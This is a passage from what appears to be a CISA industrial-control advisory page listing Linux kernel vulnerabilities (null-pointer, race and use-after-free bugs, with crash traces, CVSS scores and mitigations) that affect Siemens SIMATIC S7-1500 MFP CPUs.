<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50298</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: enetc: allocate vf_state during PF probes In the previous implementation, vf_state is allocated memory only when VF is enabled. However, net_device_ops::ndo_set_vf_mac() may be called before VF is enabled to configure the MAC address of VF. If this is the case, enetc_pf_set_vf_mac() will access vf_state, resulting in access to a null pointer. The simplified error log is as follows. root@ls1028ardb:~# ip link set eno0 vf 1 mac 00:0c:e7:66:77:89 [ 173.543315] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004 [ 173.637254] pc : enetc_pf_set_vf_mac+0x3c/0x80 Message from sy [ 173.641973] lr : do_setlink+0x4a8/0xec8 [ 173.732292] Call trace: [ 173.734740] enetc_pf_set_vf_mac+0x3c/0x80 [ 173.738847] __rtnl_newlink+0x530/0x89c [ 173.742692] rtnl_newlink+0x50/0x7c [ 173.746189] rtnetlink_rcv_msg+0x128/0x390 [ 173.750298] netlink_rcv_skb+0x60/0x130 [ 173.754145] rtnetlink_rcv+0x18/0x24 [ 173.757731] netlink_unicast+0x318/0x380 [ 173.761665] netlink_sendmsg+0x17c/0x3c8</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50298">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-53124</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix data-races around sk-&gt;sk_forward_alloc Syzkaller reported this warning: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 16 at net/ipv4/af_inet.c:156 inet_sock_destruct+0x1c5/0x1e0 Modules linked in: CPU: 0 UID: 0 PID: 16 Comm: ksoftirqd/0 Not tainted 6.12.0-rc5 #26 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:inet_sock_destruct+0x1c5/0x1e0 Code: 24 12 4c 89 e2 5b 48 c7 c7 98 ec bb 82 41 5c e9 d1 18 17 ff 4c 89 e6 5b 48 c7 c7 d0 ec bb 82 41 5c e9 bf 18 17 ff 0f 0b eb 83 &lt;0f&gt; 0b eb 97 0f 0b eb 87 0f 0b e9 68 ff ff ff 66 66 2e 0f 1f 84 00 RSP: 0018:ffffc9000008bd90 EFLAGS: 00010206 RAX: 0000000000000300 RBX: ffff88810b172a90 RCX: 0000000000000007 RDX: 0000000000000002 RSI: 0000000000000300 RDI: ffff88810b172a00 RBP: ffff88810b172a00 R08: ffff888104273c00 R09: 0000000000100007 R10: 0000000000020000 R11: 0000000000000006 R12: ffff88810b172a00 R13: 0000000000000004 R14: 0000000000000000 R15: ffff888237c31f78 FS: 0000000000000000(0000) GS:ffff888237c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffc63fecac8 CR3: 000000000342e000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? __warn+0x88/0x130 ? inet_sock_destruct+0x1c5/0x1e0 ? report_bug+0x18e/0x1a0 ? handle_bug+0x53/0x90 ? exc_invalid_op+0x18/0x70 ? asm_exc_invalid_op+0x1a/0x20 ? inet_sock_destruct+0x1c5/0x1e0 __sk_destruct+0x2a/0x200 rcu_do_batch+0x1aa/0x530 ? rcu_do_batch+0x13b/0x530 rcu_core+0x159/0x2f0 handle_softirqs+0xd3/0x2b0 ? __pfx_smpboot_thread_fn+0x10/0x10 run_ksoftirqd+0x25/0x30 smpboot_thread_fn+0xdd/0x1d0 kthread+0xd3/0x100 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x50 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 ---[ end trace 0000000000000000 ]--- Its possible that two threads call tcp_v6_do_rcv()/sk_forward_alloc_add() concurrently when sk-&gt;sk_state == TCP_LISTEN with sk-&gt;sk_lock unlocked, which triggers a data-race around sk-&gt;sk_forward_alloc: tcp_v6_rcv tcp_v6_do_rcv skb_clone_and_charge_r sk_rmem_schedule __sk_mem_schedule sk_forward_alloc_add() skb_set_owner_r sk_mem_charge sk_forward_alloc_add() __kfree_skb skb_release_all skb_release_head_state sock_rfree sk_mem_uncharge sk_forward_alloc_add() sk_mem_reclaim // set local var reclaimable __sk_mem_reclaim sk_forward_alloc_add() In this syzkaller testcase, two threads call tcp_v6_do_rcv() with skb-&gt;truesize=768, the sk_forward_alloc changes like this: (cpu 1) | (cpu 2) | sk_forward_alloc ... | ... | 0 __sk_mem_schedule() | | +4096 = 4096 | __sk_mem_schedule() | +4096 = 8192 sk_mem_charge() | | -768 = 7424 | sk_mem_charge() | -768 = 6656 ... | ... | sk_mem_uncharge() | | +768 = 7424 reclaimable=7424 | | | sk_mem_uncharge() | +768 = 8192 | reclaimable=8192 | __sk_mem_reclaim() | | -4096 = 4096 | __sk_mem_reclaim() | -8192 = -4096 != 0 The skb_clone_and_charge_r() should not be called in tcp_v6_do_rcv() when sk-&gt;sk_state is TCP_LISTEN, it happens later in tcp_v6_syn_recv_sock(). Fix the same issue in dccp_v6_do_rcv().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-53124">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-53170</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix uaf for flush rq while iterating tags blk_mq_clear_flush_rq_mapping() is not called during scsi probe, by checking blk_queue_init_done(). However, QUEUE_FLAG_INIT_DONE is cleared in del_gendisk by commit aec89dc5d421 ("block: keep q_usage_counter in atomic mode after del_gendisk"), hence for disk like scsi, following blk_mq_destroy_queue() will not clear flush rq from tags-&gt;rqs[] as well, cause following uaf that is found by our syzkaller for v6.6: ================================================================== BUG: KASAN: slab-use-after-free in blk_mq_find_and_get_req+0x16e/0x1a0 block/blk-mq-tag.c:261 Read of size 4 at addr ffff88811c969c20 by task kworker/1:2H/224909 CPU: 1 PID: 224909 Comm: kworker/1:2H Not tainted 6.6.0-ga836a5060850 #32 Workqueue: kblockd blk_mq_timeout_work Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x91/0xf0 lib/dump_stack.c:106 print_address_description.constprop.0+0x66/0x300 mm/kasan/report.c:364 print_report+0x3e/0x70 mm/kasan/report.c:475 kasan_report+0xb8/0xf0 mm/kasan/report.c:588 blk_mq_find_and_get_req+0x16e/0x1a0 block/blk-mq-tag.c:261 bt_iter block/blk-mq-tag.c:288 [inline] __sbitmap_for_each_set include/linux/sbitmap.h:295 [inline] sbitmap_for_each_set include/linux/sbitmap.h:316 [inline] bt_for_each+0x455/0x790 block/blk-mq-tag.c:325 blk_mq_queue_tag_busy_iter+0x320/0x740 block/blk-mq-tag.c:534 blk_mq_timeout_work+0x1a3/0x7b0 block/blk-mq.c:1673 process_one_work+0x7c4/0x1450 kernel/workqueue.c:2631 process_scheduled_works kernel/workqueue.c:2704 [inline] worker_thread+0x804/0xe40 kernel/workqueue.c:2785 kthread+0x346/0x450 kernel/kthread.c:388 ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:293 Allocated by task 942: kasan_save_stack+0x22/0x50 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 ____kasan_kmalloc mm/kasan/common.c:374 [inline] __kasan_kmalloc mm/kasan/common.c:383 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:380 kasan_kmalloc include/linux/kasan.h:198 [inline] __do_kmalloc_node mm/slab_common.c:1007 [inline] __kmalloc_node+0x69/0x170 mm/slab_common.c:1014 kmalloc_node include/linux/slab.h:620 [inline] kzalloc_node include/linux/slab.h:732 [inline] blk_alloc_flush_queue+0x144/0x2f0 block/blk-flush.c:499 blk_mq_alloc_hctx+0x601/0x940 block/blk-mq.c:3788 blk_mq_alloc_and_init_hctx+0x27f/0x330 block/blk-mq.c:4261 blk_mq_realloc_hw_ctxs+0x488/0x5e0 block/blk-mq.c:4294 blk_mq_init_allocated_queue+0x188/0x860 block/blk-mq.c:4350 blk_mq_init_queue_data block/blk-mq.c:4166 [inline] blk_mq_init_queue+0x8d/0x100 block/blk-mq.c:4176 scsi_alloc_sdev+0x843/0xd50 drivers/scsi/scsi_scan.c:335 scsi_probe_and_add_lun+0x77c/0xde0 drivers/scsi/scsi_scan.c:1189 __scsi_scan_target+0x1fc/0x5a0 drivers/scsi/scsi_scan.c:1727 scsi_scan_channel drivers/scsi/scsi_scan.c:1815 [inline] scsi_scan_channel+0x14b/0x1e0 drivers/scsi/scsi_scan.c:1791 scsi_scan_host_selected+0x2fe/0x400 drivers/scsi/scsi_scan.c:1844 scsi_scan+0x3a0/0x3f0 drivers/scsi/scsi_sysfs.c:151 store_scan+0x2a/0x60 drivers/scsi/scsi_sysfs.c:191 dev_attr_store+0x5c/0x90 drivers/base/core.c:2388 sysfs_kf_write+0x11c/0x170 fs/sysfs/file.c:136 kernfs_fop_write_iter+0x3fc/0x610 fs/kernfs/file.c:338 call_write_iter include/linux/fs.h:2083 [inline] new_sync_write+0x1b4/0x2d0 fs/read_write.c:493 vfs_write+0x76c/0xb00 fs/read_write.c:586 ksys_write+0x127/0x250 fs/read_write.c:639 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x70/0x120 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x78/0xe2 Freed by task 244687: kasan_save_stack+0x22/0x50 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 kasan_save_free_info+0x2b/0x50 mm/kasan/generic.c:522 ____kasan_slab_free mm/kasan/common.c:236 [inline] __kasan_slab_free+0x12a/0x1b0 mm/kasan/common.c:244 kasan_slab_free include/linux/kasan.h:164 [in ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-53170">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-54458</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: bsg: Set bsg_queue to NULL after removal Currently, this does not cause any issues, but I believe it is necessary to set bsg_queue to NULL after removing it to prevent potential use-after-free (UAF) access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-54458">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56631</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: sg: Fix slab-use-after-free read in sg_release() Fix a use-after-free bug in sg_release(), detected by syzbot with KASAN: BUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5838 __mutex_unlock_slowpath+0xe2/0x750 kernel/locking/mutex.c:912 sg_release+0x1f4/0x2e0 drivers/scsi/sg.c:407 In sg_release(), the function kref_put(&amp;sfp-&gt;f_ref, sg_remove_sfp) is called before releasing the open_rel_lock mutex. The kref_put() call may decrement the reference count of sfp to zero, triggering its cleanup through sg_remove_sfp(). This cleanup includes scheduling deferred work via sg_remove_sfp_usercontext(), which ultimately frees sfp. After kref_put(), sg_release() continues to unlock open_rel_lock and may reference sfp or sdp. If sfp has already been freed, this results in a slab-use-after-free error. Move the kref_put(&amp;sfp-&gt;f_ref, sg_remove_sfp) call after unlocking the open_rel_lock mutex. This ensures: - No references to sfp or sdp occur after the reference count is decremented. - Cleanup functions such as sg_remove_sfp() and sg_remove_sfp_usercontext() can safely execute without impacting the mutex handling in sg_release(). The fix has been tested and validated by syzbot. This patch closes the bug reported at the following syzkaller link and ensures proper sequencing of resource cleanup and mutex operations, eliminating the risk of use-after-free errors in sg_release().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56631">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-56703</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix soft lockups in fib6_select_path under high next hop churn Soft lockups have been observed on a cluster of Linux-based edge routers located in a highly dynamic environment. Using the `bird` service, these routers continuously update BGP-advertised routes due to frequently changing nexthop destinations, while also managing significant IPv6 traffic. The lockups occur during the traversal of the multipath circular linked-list in the `fib6_select_path` function, particularly while iterating through the siblings in the list. The issue typically arises when the nodes of the linked list are unexpectedly deleted concurrently on a different core—indicated by their 'next' and 'previous' elements pointing back to the node itself and their reference count dropping to zero. This results in an infinite loop, leading to a soft lockup that triggers a system panic via the watchdog timer. Apply RCU primitives in the problematic code sections to resolve the issue. Where necessary, update the references to fib6_siblings to annotate or use the RCU APIs. Include a test script that reproduces the issue. The script periodically updates the routing table while generating a heavy load of outgoing IPv6 traffic through multiple iperf3 clients. It consistently induces infinite soft lockups within a couple of minutes. Kernel log: 0 [ffffbd13003e8d30] machine_kexec at ffffffff8ceaf3eb 1 [ffffbd13003e8d90] __crash_kexec at ffffffff8d0120e3 2 [ffffbd13003e8e58] panic at ffffffff8cef65d4 3 [ffffbd13003e8ed8] watchdog_timer_fn at ffffffff8d05cb03 4 [ffffbd13003e8f08] __hrtimer_run_queues at ffffffff8cfec62f 5 [ffffbd13003e8f70] hrtimer_interrupt at ffffffff8cfed756 6 [ffffbd13003e8fd0] __sysvec_apic_timer_interrupt at ffffffff8cea01af 7 [ffffbd13003e8ff0] sysvec_apic_timer_interrupt at ffffffff8df1b83d -- -- 8 [ffffbd13003d3708] asm_sysvec_apic_timer_interrupt at ffffffff8e000ecb [exception RIP: fib6_select_path+299] RIP: ffffffff8ddafe7b RSP: ffffbd13003d37b8 RFLAGS: 00000287 RAX: ffff975850b43600 RBX: ffff975850b40200 RCX: 0000000000000000 RDX: 000000003fffffff RSI: 0000000051d383e4 RDI: ffff975850b43618 RBP: ffffbd13003d3800 R8: 0000000000000000 R9: ffff975850b40200 R10: 0000000000000000 R11: 0000000000000000 R12: ffffbd13003d3830 R13: ffff975850b436a8 R14: ffff975850b43600 R15: 0000000000000007 ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018 9 [ffffbd13003d3808] ip6_pol_route at ffffffff8ddb030c 10 [ffffbd13003d3888] ip6_pol_route_input at ffffffff8ddb068c 11 [ffffbd13003d3898] fib6_rule_lookup at ffffffff8ddf02b5 12 [ffffbd13003d3928] ip6_route_input at ffffffff8ddb0f47 13 [ffffbd13003d3a18] ip6_rcv_finish_core.constprop.0 at ffffffff8dd950d0 14 [ffffbd13003d3a30] ip6_list_rcv_finish.constprop.0 at ffffffff8dd96274 15 [ffffbd13003d3a98] ip6_sublist_rcv at ffffffff8dd96474 16 [ffffbd13003d3af8] ipv6_list_rcv at ffffffff8dd96615 17 [ffffbd13003d3b60] __netif_receive_skb_list_core at ffffffff8dc16fec 18 [ffffbd13003d3be0] netif_receive_skb_list_internal at ffffffff8dc176b3 19 [ffffbd13003d3c50] napi_gro_receive at ffffffff8dc565b9 20 [ffffbd13003d3c80] ice_receive_skb at ffffffffc087e4f5 [ice] 21 [ffffbd13003d3c90] ice_clean_rx_irq at ffffffffc0881b80 [ice] 22 [ffffbd13003d3d20] ice_napi_poll at ffffffffc088232f [ice] 23 [ffffbd13003d3d80] __napi_poll at ffffffff8dc18000 24 [ffffbd13003d3db8] net_rx_action at ffffffff8dc18581 25 [ffffbd13003d3e40] __do_softirq at ffffffff8df352e9 26 [ffffbd13003d3eb0] run_ksoftirqd at ffffffff8ceffe47 27 [ffffbd13003d3ec0] smpboot_thread_fn at ffffffff8cf36a30 28 [ffffbd13003d3ee8] kthread at ffffffff8cf2b39f 29 [ffffbd13003d3f28] ret_from_fork at ffffffff8ce5fa64 30 [ffffbd13003d3f50] ret_from_fork_asm at ffffffff8ce03cbb</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-56703">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
